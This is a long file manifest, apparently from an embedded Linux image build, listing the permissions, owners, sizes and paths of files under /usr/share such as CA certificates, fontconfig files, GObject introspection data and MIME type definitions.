+-rw-r--r-- root root 1992 ./usr/share/ca-certificates/mozilla/Certinomis_-_Root_CA.crt
+-rw-r--r-- root root 1298 ./usr/share/ca-certificates/mozilla/Certplus_Class_2_Primary_CA.crt
+-rw-r--r-- root root 1176 ./usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt
+-rw-r--r-- root root 2078 ./usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt
+-rw-r--r-- root root 1354 ./usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt
+-rw-r--r-- root root 1984 ./usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt
+-rw-r--r-- root root 2594 ./usr/share/ca-certificates/mozilla/Chambers_of_Commerce_Root_-_2008.crt
+-rw-r--r-- root root 1517 ./usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt
+-rw-r--r-- root root 1489 ./usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt
+-rw-r--r-- root root 940 ./usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt
+-rw-r--r-- root root 2086 ./usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt
+-rw-r--r-- root root 1318 ./usr/share/ca-certificates/mozilla/Cybertrust_Global_Root.crt
+-rw-r--r-- root root 1318 ./usr/share/ca-certificates/mozilla/Deutsche_Telekom_Root_CA_2.crt
+-rw-r--r-- root root 1350 ./usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt
+-rw-r--r-- root root 1306 ./usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt
+-rw-r--r-- root root 851 ./usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt
+-rw-r--r-- root root 1338 ./usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt
+-rw-r--r-- root root 1294 ./usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt
+-rw-r--r-- root root 839 ./usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt
+-rw-r--r-- root root 1367 ./usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt
+-rw-r--r-- root root 1988 ./usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt
+-rw-r--r-- root root 1200 ./usr/share/ca-certificates/mozilla/DST_Root_CA_X3.crt
+-rw-r--r-- root root 1517 ./usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt
+-rw-r--r-- root root 1537 ./usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt
+-rw-r--r-- root root 1911 ./usr/share/ca-certificates/mozilla/EC-ACC.crt
+-rw-r--r-- root root 1452 ./usr/share/ca-certificates/mozilla/EE_Certification_Centre_Root_CA.crt
+-rw-r--r-- root root 1505 ./usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt
+-rw-r--r-- root root 1643 ./usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt
+-rw-r--r-- root root 1090 ./usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt
+-rw-r--r-- root root 1533 ./usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt
+-rw-r--r-- root root 2033 ./usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt
+-rw-r--r-- root root 2244 ./usr/share/ca-certificates/mozilla/E-Tugra_Certification_Authority.crt
+-rw-r--r-- root root 1980 ./usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt
+-rw-r--r-- root root 1216 ./usr/share/ca-certificates/mozilla/GeoTrust_Global_CA.crt
+-rw-r--r-- root root 1269 ./usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority.crt
+-rw-r--r-- root root 989 ./usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority_-_G2.crt
+-rw-r--r-- root root 1444 ./usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority_-_G3.crt
+-rw-r--r-- root root 1939 ./usr/share/ca-certificates/mozilla/GeoTrust_Universal_CA_2.crt
+-rw-r--r-- root root 1935 ./usr/share/ca-certificates/mozilla/GeoTrust_Universal_CA.crt
+-rw-r--r-- root root 2585 ./usr/share/ca-certificates/mozilla/Global_Chambersign_Root_-_2008.crt
+-rw-r--r-- root root 713 ./usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt
+-rw-r--r-- root root 794 ./usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt
+-rw-r--r-- root root 1261 ./usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt
+-rw-r--r-- root root 1354 ./usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R2.crt
+-rw-r--r-- root root 1229 ./usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt
+-rw-r--r-- root root 1972 ./usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt
+-rw-r--r-- root root 1448 ./usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt
+-rw-r--r-- root root 1367 ./usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt
+-rw-r--r-- root root 1017 ./usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt
+-rw-r--r-- root root 1513 ./usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2011.crt
+-rw-r--r-- root root 2155 ./usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt
+-rw-r--r-- root root 1168 ./usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_1.crt
+-rw-r--r-- root root 1923 ./usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt
+-rw-r--r-- root root 1931 ./usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt
+-rw-r--r-- root root 1939 ./usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt
+-rw-r--r-- root root 2122 ./usr/share/ca-certificates/mozilla/Izenpe.com.crt
+-rw-r--r-- root root 2057 ./usr/share/ca-certificates/mozilla/LuxTrust_Global_Root_2.crt
+-rw-r--r-- root root 1460 ./usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt
+-rw-r--r-- root root 1476 ./usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt
+-rw-r--r-- root root 1411 ./usr/share/ca-certificates/mozilla/Network_Solutions_Certificate_Authority.crt
+-rw-r--r-- root root 1428 ./usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GA_CA.crt
+-rw-r--r-- root root 1346 ./usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt
+-rw-r--r-- root root 895 ./usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt
+-rw-r--r-- root root 1923 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt
+-rw-r--r-- root root 2041 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt
+-rw-r--r-- root root 1923 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt
+-rw-r--r-- root root 2354 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt
+-rw-r--r-- root root 1923 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt
+-rw-r--r-- root root 2078 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA.crt
+-rw-r--r-- root root 1354 ./usr/share/ca-certificates/mozilla/Secure_Global_CA.crt
+-rw-r--r-- root root 1249 ./usr/share/ca-certificates/mozilla/SecureSign_RootCA11.crt
+-rw-r--r-- root root 1350 ./usr/share/ca-certificates/mozilla/SecureTrust_CA.crt
+-rw-r--r-- root root 1261 ./usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt
+-rw-r--r-- root root 1224 ./usr/share/ca-certificates/mozilla/Security_Communication_Root_CA.crt
+-rw-r--r-- root root 1143 ./usr/share/ca-certificates/mozilla/Sonera_Class_2_Root_CA.crt
+-rw-r--r-- root root 956 ./usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt
+-rw-r--r-- root root 2114 ./usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt
+-rw-r--r-- root root 944 ./usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt
+-rw-r--r-- root root 2094 ./usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt
+-rw-r--r-- root root 1948 ./usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_EV_Root_CA.crt
+-rw-r--r-- root root 2069 ./usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_Root_CA_-_G2.crt
+-rw-r--r-- root root 1952 ./usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_Root_CA_-_G3.crt
+-rw-r--r-- root root 1468 ./usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt
+-rw-r--r-- root root 1399 ./usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt
+-rw-r--r-- root root 1424 ./usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt
+-rw-r--r-- root root 2045 ./usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt
+-rw-r--r-- root root 2049 ./usr/share/ca-certificates/mozilla/SwissSign_Silver_CA_-_G2.crt
+-rw-r--r-- root root 1257 ./usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt
+-rw-r--r-- root root 1948 ./usr/share/ca-certificates/mozilla/Taiwan_GRCA.crt
+-rw-r--r-- root root 1870 ./usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt
+-rw-r--r-- root root 1493 ./usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA.crt
+-rw-r--r-- root root 940 ./usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA_-_G2.crt
+-rw-r--r-- root root 1505 ./usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA_-_G3.crt
+-rw-r--r-- root root 1493 ./usr/share/ca-certificates/mozilla/TrustCor_ECA-1.crt
+-rw-r--r-- root root 1513 ./usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-1.crt
+-rw-r--r-- root root 2204 ./usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-2.crt
+-rw-r--r-- root root 1241 ./usr/share/ca-certificates/mozilla/Trustis_FPS_Root_CA.crt
+-rw-r--r-- root root 1367 ./usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt
+-rw-r--r-- root root 1367 ./usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt
+-rw-r--r-- root root 1582 ./usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt
+-rw-r--r-- root root 1883 ./usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt
+-rw-r--r-- root root 1269 ./usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt
+-rw-r--r-- root root 948 ./usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt
+-rw-r--r-- root root 2094 ./usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt
+-rw-r--r-- root root 1484 ./usr/share/ca-certificates/mozilla/Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.crt
+-rw-r--r-- root root 1281 ./usr/share/ca-certificates/mozilla/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.crt
+-rw-r--r-- root root 1732 ./usr/share/ca-certificates/mozilla/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.crt
+-rw-r--r-- root root 1700 ./usr/share/ca-certificates/mozilla/VeriSign_Universal_Root_Certification_Authority.crt
+-rw-r--r-- root root 1513 ./usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt
+drwxr-xr-x root root 4096 ./usr/share/cmake
+drwxr-xr-x root root 4096 ./usr/share/cmake/bash-completion
+-rw-r--r-- root root 393 ./usr/share/cmake/bash-completion/bash-completion-config.cmake
+-rw-r--r-- root root 252 ./usr/share/cmake/bash-completion/bash-completion-config-version.cmake
+drwxr-xr-x root root 4096 ./usr/share/dbus-1
+drwxr-xr-x root root 4096 ./usr/share/dbus-1/services
+-rw-r--r-- root root 3561 ./usr/share/dbus-1/session.conf
+drwxr-xr-x root root 4096 ./usr/share/dbus-1/session.d
+-rw-r--r-- root root 5692 ./usr/share/dbus-1/system.conf
+drwxr-xr-x root root 4096 ./usr/share/dbus-1/system.d
+drwxr-xr-x root root 4096 ./usr/share/dbus-1/system-services
+drwxr-xr-x root root 4096 ./usr/share/dict
+drwxr-xr-x root root 4096 ./usr/share/drirc.d
+-rw-r--r-- root root 27422 ./usr/share/drirc.d/00-mesa-defaults.conf
+drwxr-xr-x root root 4096 ./usr/share/et
+-rw-r--r-- root root 6485 ./usr/share/et/et_c.awk
+-rw-r--r-- root root 4539 ./usr/share/et/et_h.awk
+drwxr-xr-x root root 4096 ./usr/share/fontconfig
+drwxr-xr-x root root 4096 ./usr/share/fontconfig/conf.avail
+-rw-r--r-- root root 706 ./usr/share/fontconfig/conf.avail/10-autohint.conf
+-rw-r--r-- root root 692 ./usr/share/fontconfig/conf.avail/10-hinting-full.conf
+-rw-r--r-- root root 696 ./usr/share/fontconfig/conf.avail/10-hinting-medium.conf
+-rw-r--r-- root root 692 ./usr/share/fontconfig/conf.avail/10-hinting-none.conf
+-rw-r--r-- root root 696 ./usr/share/fontconfig/conf.avail/10-hinting-slight.conf
+-rw-r--r-- root root 723 ./usr/share/fontconfig/conf.avail/10-no-sub-pixel.conf
+-rw-r--r-- root root 2228 ./usr/share/fontconfig/conf.avail/10-scale-bitmap-fonts.conf
+-rw-r--r-- root root 748 ./usr/share/fontconfig/conf.avail/10-sub-pixel-bgr.conf
+-rw-r--r-- root root 748 ./usr/share/fontconfig/conf.avail/10-sub-pixel-rgb.conf
+-rw-r--r-- root root 758 ./usr/share/fontconfig/conf.avail/10-sub-pixel-vbgr.conf
+-rw-r--r-- root root 758 ./usr/share/fontconfig/conf.avail/10-sub-pixel-vrgb.conf
+-rw-r--r-- root root 701 ./usr/share/fontconfig/conf.avail/10-unhinted.conf
+-rw-r--r-- root root 771 ./usr/share/fontconfig/conf.avail/11-lcdfilter-default.conf
+-rw-r--r-- root root 768 ./usr/share/fontconfig/conf.avail/11-lcdfilter-legacy.conf
+-rw-r--r-- root root 765 ./usr/share/fontconfig/conf.avail/11-lcdfilter-light.conf
+-rw-r--r-- root root 1537 ./usr/share/fontconfig/conf.avail/20-unhint-small-vera.conf
+-rw-r--r-- root root 3489 ./usr/share/fontconfig/conf.avail/25-unhint-nonlatin.conf
+-rw-r--r-- root root 13274 ./usr/share/fontconfig/conf.avail/30-metric-aliases.conf
+-rw-r--r-- root root 5424 ./usr/share/fontconfig/conf.avail/40-nonlatin.conf
+-rw-r--r-- root root 3543 ./usr/share/fontconfig/conf.avail/45-generic.conf
+-rw-r--r-- root root 6600 ./usr/share/fontconfig/conf.avail/45-latin.conf
+-rw-r--r-- root root 799 ./usr/share/fontconfig/conf.avail/49-sansserif.conf
+-rw-r--r-- root root 911 ./usr/share/fontconfig/conf.avail/50-user.conf
+-rw-r--r-- root root 423 ./usr/share/fontconfig/conf.avail/51-local.conf
+-rw-r--r-- root root 2041 ./usr/share/fontconfig/conf.avail/60-generic.conf
+-rw-r--r-- root root 2068 ./usr/share/fontconfig/conf.avail/60-latin.conf
+-rw-r--r-- root root 10293 ./usr/share/fontconfig/conf.avail/65-fonts-persian.conf
+-rw-r--r-- root root 464 ./usr/share/fontconfig/conf.avail/65-khmer.conf
+-rw-r--r-- root root 8170 ./usr/share/fontconfig/conf.avail/65-nonlatin.conf
+-rw-r--r-- root root 847 ./usr/share/fontconfig/conf.avail/69-unifont.conf
+-rw-r--r-- root root 487 ./usr/share/fontconfig/conf.avail/70-no-bitmaps.conf
+-rw-r--r-- root root 487 ./usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf
+-rw-r--r-- root root 597 ./usr/share/fontconfig/conf.avail/80-delicious.conf
+-rw-r--r-- root root 1917 ./usr/share/fontconfig/conf.avail/90-synthetic.conf
+drwxr-xr-x root root 4096 ./usr/share/gettext
+drwxr-xr-x root root 4096 ./usr/share/gettext/its
+-rw-r--r-- root root 189 ./usr/share/gettext/its/fontconfig.its
+-rw-r--r-- root root 189 ./usr/share/gettext/its/fontconfig.loc
+-rw-r--r-- root root 1048 ./usr/share/gettext/its/gschema.its
+-rw-r--r-- root root 333 ./usr/share/gettext/its/gschema.loc
+drwxr-xr-x root root 4096 ./usr/share/gir-1.0
+-rw-r--r-- root root 23723 ./usr/share/gir-1.0/cairo-1.0.gir
+-rw-r--r-- root root 1185 ./usr/share/gir-1.0/DBus-1.0.gir
+-rw-r--r-- root root 797 ./usr/share/gir-1.0/DBusGLib-1.0.gir
+-rw-r--r-- root root 620 ./usr/share/gir-1.0/fontconfig-2.0.gir
+-rw-r--r-- root root 768 ./usr/share/gir-1.0/freetype2-2.0.gir
+-rw-r--r-- root root 6332887 ./usr/share/gir-1.0/Gio-2.0.gir
+-rw-r--r-- root root 29235 ./usr/share/gir-1.0/gir-1.2.rnc
+-rw-r--r-- root root 324506 ./usr/share/gir-1.0/GIRepository-2.0.gir
+-rw-r--r-- root root 1122 ./usr/share/gir-1.0/GL-1.0.gir
+-rw-r--r-- root root 3544680 ./usr/share/gir-1.0/GLib-2.0.gir
+-rw-r--r-- root root 19691 ./usr/share/gir-1.0/GModule-2.0.gir
+-rw-r--r-- root root 1247584 ./usr/share/gir-1.0/GObject-2.0.gir
+-rw-r--r-- root root 938 ./usr/share/gir-1.0/libxml2-2.0.gir
+-rw-r--r-- root root 65349 ./usr/share/gir-1.0/Vulkan-1.0.gir
+-rw-r--r-- root root 611 ./usr/share/gir-1.0/win32-1.0.gir
+-rw-r--r-- root root 361 ./usr/share/gir-1.0/xfixes-4.0.gir
+-rw-r--r-- root root 745 ./usr/share/gir-1.0/xft-2.0.gir
+-rw-r--r-- root root 2325 ./usr/share/gir-1.0/xlib-2.0.gir
+-rw-r--r-- root root 808 ./usr/share/gir-1.0/xrandr-1.3.gir
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0/gettext
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0/gettext/po
+-rw-r--r-- root root 8076 ./usr/share/glib-2.0/gettext/po/Makefile.in.in
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0/schemas
+-rw-r--r-- root root 2916 ./usr/share/glib-2.0/schemas/gschema.dtd
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0/valgrind
+-rw-r--r-- root root 15263 ./usr/share/glib-2.0/valgrind/glib.supp
+drwxr-xr-x root root 4096 ./usr/share/gobject-introspection-1.0
+-rw-r--r-- root root 15228 ./usr/share/gobject-introspection-1.0/gdump.c
+-rw-r--r-- root root 7177 ./usr/share/gobject-introspection-1.0/Makefile.introspection
+drwxr-xr-x root root 4096 ./usr/share/info
+drwxr-xr-x root root 4096 ./usr/share/libdrm
+-rw-r--r-- root root 7547 ./usr/share/libdrm/amdgpu.ids
+drwxr-xr-x root root 4096 ./usr/share/man
+drwxr-xr-x root root 4096 ./usr/share/mime
+-rw-r--r-- root root 10777 ./usr/share/mime/aliases
+drwxr-xr-x root root 20480 ./usr/share/mime/application
+-rw-r--r-- root root 2700 ./usr/share/mime/application/andrew-inset.xml
+-rw-r--r-- root root 3200 ./usr/share/mime/application/annodex.xml
+-rw-r--r-- root root 3123 ./usr/share/mime/application/atom+xml.xml
+-rw-r--r-- root root 3009 ./usr/share/mime/application/dicom.xml
+-rw-r--r-- root root 3299 ./usr/share/mime/application/ecmascript.xml
+-rw-r--r-- root root 3513 ./usr/share/mime/application/epub+zip.xml
+-rw-r--r-- root root 2263 ./usr/share/mime/application/geo+json.xml
+-rw-r--r-- root root 2304 ./usr/share/mime/application/gml+xml.xml
+-rw-r--r-- root root 3264 ./usr/share/mime/application/gnunet-directory.xml
+-rw-r--r-- root root 2354 ./usr/share/mime/application/gpx+xml.xml
+-rw-r--r-- root root 2813 ./usr/share/mime/application/gzip.xml
+-rw-r--r-- root root 3757 ./usr/share/mime/application/illustrator.xml
+-rw-r--r-- root root 3404 ./usr/share/mime/application/javascript.xml
+-rw-r--r-- root root 2140 ./usr/share/mime/application/jrd+json.xml
+-rw-r--r-- root root 1993 ./usr/share/mime/application/json-patch+json.xml
+-rw-r--r-- root root 2281 ./usr/share/mime/application/json.xml
+-rw-r--r-- root root 2255 ./usr/share/mime/application/ld+json.xml
+-rw-r--r-- root root 4240 ./usr/share/mime/application/mac-binhex40.xml
+-rw-r--r-- root root 1136 ./usr/share/mime/application/mathematica.xml
+-rw-r--r-- root root 3328 ./usr/share/mime/application/mathml+xml.xml
+-rw-r--r-- root root 3112 ./usr/share/mime/application/mbox.xml
+-rw-r--r-- root root 2759 ./usr/share/mime/application/metalink4+xml.xml
+-rw-r--r-- root root 2761 ./usr/share/mime/application/metalink+xml.xml
+-rw-r--r-- root root 2925 ./usr/share/mime/application/msword-template.xml
+-rw-r--r-- root root 3057 ./usr/share/mime/application/msword.xml
+-rw-r--r-- root root 2615 ./usr/share/mime/application/mxf.xml
+-rw-r--r-- root root 2687 ./usr/share/mime/application/octet-stream.xml
+-rw-r--r-- root root 3111 ./usr/share/mime/application/oda.xml
+-rw-r--r-- root root 3393 ./usr/share/mime/application/ogg.xml
+-rw-r--r-- root root 2057 ./usr/share/mime/application/owl+xml.xml
+-rw-r--r-- root root 3059 ./usr/share/mime/application/oxps.xml
+-rw-r--r-- root root 3131 ./usr/share/mime/application/pdf.xml
+-rw-r--r-- root root 4545 ./usr/share/mime/application/pgp-encrypted.xml
+-rw-r--r-- root root 3138 ./usr/share/mime/application/pgp-keys.xml
+-rw-r--r-- root root 3716 ./usr/share/mime/application/pgp-signature.xml
+-rw-r--r-- root root 3686 ./usr/share/mime/application/pkcs10.xml
+-rw-r--r-- root root 3703 ./usr/share/mime/application/pkcs12.xml
+-rw-r--r-- root root 1090 ./usr/share/mime/application/pkcs7-mime.xml
+-rw-r--r-- root root 3684 ./usr/share/mime/application/pkcs7-signature.xml
+-rw-r--r-- root root 2231 ./usr/share/mime/application/pkcs8-encrypted.xml
+-rw-r--r-- root root 2936 ./usr/share/mime/application/pkcs8.xml
+-rw-r--r-- root root 2674 ./usr/share/mime/application/pkix-cert.xml
+-rw-r--r-- root root 1120 ./usr/share/mime/application/pkix-crl.xml
+-rw-r--r-- root root 3306 ./usr/share/mime/application/pkix-pkipath.xml
+-rw-r--r-- root root 1110 ./usr/share/mime/application/postscript.xml
+-rw-r--r-- root root 3011 ./usr/share/mime/application/prs.plucker.xml
+-rw-r--r-- root root 1992 ./usr/share/mime/application/raml+yaml.xml
+-rw-r--r-- root root 1115 ./usr/share/mime/application/ram.xml
+-rw-r--r-- root root 2800 ./usr/share/mime/application/rdf+xml.xml
+-rw-r--r-- root root 2940 ./usr/share/mime/application/relax-ng-compact-syntax.xml
+-rw-r--r-- root root 2927 ./usr/share/mime/application/rss+xml.xml
+-rw-r--r-- root root 2954 ./usr/share/mime/application/rtf.xml
+-rw-r--r-- root root 3857 ./usr/share/mime/application/sdp.xml
+-rw-r--r-- root root 3701 ./usr/share/mime/application/sieve.xml
+-rw-r--r-- root root 3131 ./usr/share/mime/application/smil+xml.xml
+-rw-r--r-- root root 2733 ./usr/share/mime/application/sql.xml
+-rw-r--r-- root root 2434 ./usr/share/mime/application/trig.xml
+-rw-r--r-- root root 3433 ./usr/share/mime/application/vnd.adobe.flash.movie.xml
+-rw-r--r-- root root 432 ./usr/share/mime/application/vnd.amazon.mobi8-ebook.xml
+-rw-r--r-- root root 2605 ./usr/share/mime/application/vnd.android.package-archive.xml
+-rw-r--r-- root root 2358 ./usr/share/mime/application/vnd.appimage.xml
+-rw-r--r-- root root 3597 ./usr/share/mime/application/vnd.apple.mpegurl.xml
+-rw-r--r-- root root 3598 ./usr/share/mime/application/vnd.chess-pgn.xml
+-rw-r--r-- root root 2381 ./usr/share/mime/application/vnd.coffeescript.xml
+-rw-r--r-- root root 3230 ./usr/share/mime/application/vnd.comicbook-rar.xml
+-rw-r--r-- root root 3226 ./usr/share/mime/application/vnd.comicbook+zip.xml
+-rw-r--r-- root root 3655 ./usr/share/mime/application/vnd.corel-draw.xml
+-rw-r--r-- root root 3205 ./usr/share/mime/application/vnd.debian.binary-package.xml
+-rw-r--r-- root root 3403 ./usr/share/mime/application/vnd.emusic-emusic_package.xml
+-rw-r--r-- root root 2211 ./usr/share/mime/application/vnd.flatpak.ref.xml
+-rw-r--r-- root root 2273 ./usr/share/mime/application/vnd.flatpak.repo.xml
+-rw-r--r-- root root 2279 ./usr/share/mime/application/vnd.flatpak.xml
+-rw-r--r-- root root 3675 ./usr/share/mime/application/vnd.framemaker.xml
+-rw-r--r-- root root 3051 ./usr/share/mime/application/vnd.google-earth.kml+xml.xml
+-rw-r--r-- root root 3579 ./usr/share/mime/application/vnd.google-earth.kmz.xml
+-rw-r--r-- root root 2820 ./usr/share/mime/application/vnd.hp-hpgl.xml
+-rw-r--r-- root root 2769 ./usr/share/mime/application/vnd.hp-pcl.xml
+-rw-r--r-- root root 2536 ./usr/share/mime/application/vnd.iccprofile.xml
+-rw-r--r-- root root 3991 ./usr/share/mime/application/vnd.lotus-1-2-3.xml
+-rw-r--r-- root root 1142 ./usr/share/mime/application/vnd.lotus-wordpro.xml
+-rw-r--r-- root root 3540 ./usr/share/mime/application/vnd.mozilla.xul+xml.xml
+-rw-r--r-- root root 3419 ./usr/share/mime/application/vnd.ms-access.xml
+-rw-r--r-- root root 2921 ./usr/share/mime/application/vnd.ms-asf.xml
+-rw-r--r-- root root 3299 ./usr/share/mime/application/vnd.ms-cab-compressed.xml
+-rw-r--r-- root root 2619 ./usr/share/mime/application/vnd.ms-excel.addin.macroenabled.12.xml
+-rw-r--r-- root root 3407 ./usr/share/mime/application/vnd.ms-excel.sheet.binary.macroenabled.12.xml
+-rw-r--r-- root root 3330 ./usr/share/mime/application/vnd.ms-excel.sheet.macroenabled.12.xml
+-rw-r--r-- root root 2685 ./usr/share/mime/application/vnd.ms-excel.template.macroenabled.12.xml
+-rw-r--r-- root root 3525 ./usr/share/mime/application/vnd.ms-excel.xml
+-rw-r--r-- root root 3011 ./usr/share/mime/application/vnd.ms-htmlhelp.xml
+-rw-r--r-- root root 2734 ./usr/share/mime/application/vnd.ms-powerpoint.addin.macroenabled.12.xml
+-rw-r--r-- root root 3491 ./usr/share/mime/application/vnd.ms-powerpoint.presentation.macroenabled.12.xml
+-rw-r--r-- root root 2420 ./usr/share/mime/application/vnd.ms-powerpoint.slide.macroenabled.12.xml
+-rw-r--r-- root root 3485 ./usr/share/mime/application/vnd.ms-powerpoint.slideshow.macroenabled.12.xml
+-rw-r--r-- root root 2906 ./usr/share/mime/application/vnd.ms-powerpoint.template.macroenabled.12.xml
+-rw-r--r-- root root 3569 ./usr/share/mime/application/vnd.ms-powerpoint.xml
+-rw-r--r-- root root 2757 ./usr/share/mime/application/vnd.ms-publisher.xml
+-rw-r--r-- root root 2977 ./usr/share/mime/application/vnd.ms-tnef.xml
+-rw-r--r-- root root 1161 ./usr/share/mime/application/vnd.ms-visio.drawing.macroenabled.main+xml.xml
+-rw-r--r-- root root 1148 ./usr/share/mime/application/vnd.ms-visio.drawing.main+xml.xml
+-rw-r--r-- root root 1163 ./usr/share/mime/application/vnd.ms-visio.stencil.macroenabled.main+xml.xml
+-rw-r--r-- root root 1150 ./usr/share/mime/application/vnd.ms-visio.stencil.main+xml.xml
+-rw-r--r-- root root 1226 ./usr/share/mime/application/vnd.ms-visio.template.macroenabled.main+xml.xml
+-rw-r--r-- root root 1213 ./usr/share/mime/application/vnd.ms-visio.template.main+xml.xml
+-rw-r--r-- root root 3004 ./usr/share/mime/application/vnd.ms-word.document.macroenabled.12.xml
+-rw-r--r-- root root 2541 ./usr/share/mime/application/vnd.ms-word.template.macroenabled.12.xml
+-rw-r--r-- root root 3639 ./usr/share/mime/application/vnd.ms-works.xml
+-rw-r--r-- root root 3039 ./usr/share/mime/application/vnd.ms-wpl.xml
+-rw-r--r-- root root 2927 ./usr/share/mime/application/vnd.nintendo.snes.rom.xml
+-rw-r--r-- root root 2760 ./usr/share/mime/application/vnd.oasis.opendocument.chart-template.xml
+-rw-r--r-- root root 2879 ./usr/share/mime/application/vnd.oasis.opendocument.chart.xml
+-rw-r--r-- root root 3262 ./usr/share/mime/application/vnd.oasis.opendocument.database.xml
+-rw-r--r-- root root 2776 ./usr/share/mime/application/vnd.oasis.opendocument.formula-template.xml
+-rw-r--r-- root root 2954 ./usr/share/mime/application/vnd.oasis.opendocument.formula.xml
+-rw-r--r-- root root 3235 ./usr/share/mime/application/vnd.oasis.opendocument.graphics-flat-xml.xml
+-rw-r--r-- root root 2958 ./usr/share/mime/application/vnd.oasis.opendocument.graphics-template.xml
+-rw-r--r-- root root 2918 ./usr/share/mime/application/vnd.oasis.opendocument.graphics.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/application/vnd.oasis.opendocument.image.xml
+-rw-r--r-- root root 3480 ./usr/share/mime/application/vnd.oasis.opendocument.presentation-flat-xml.xml
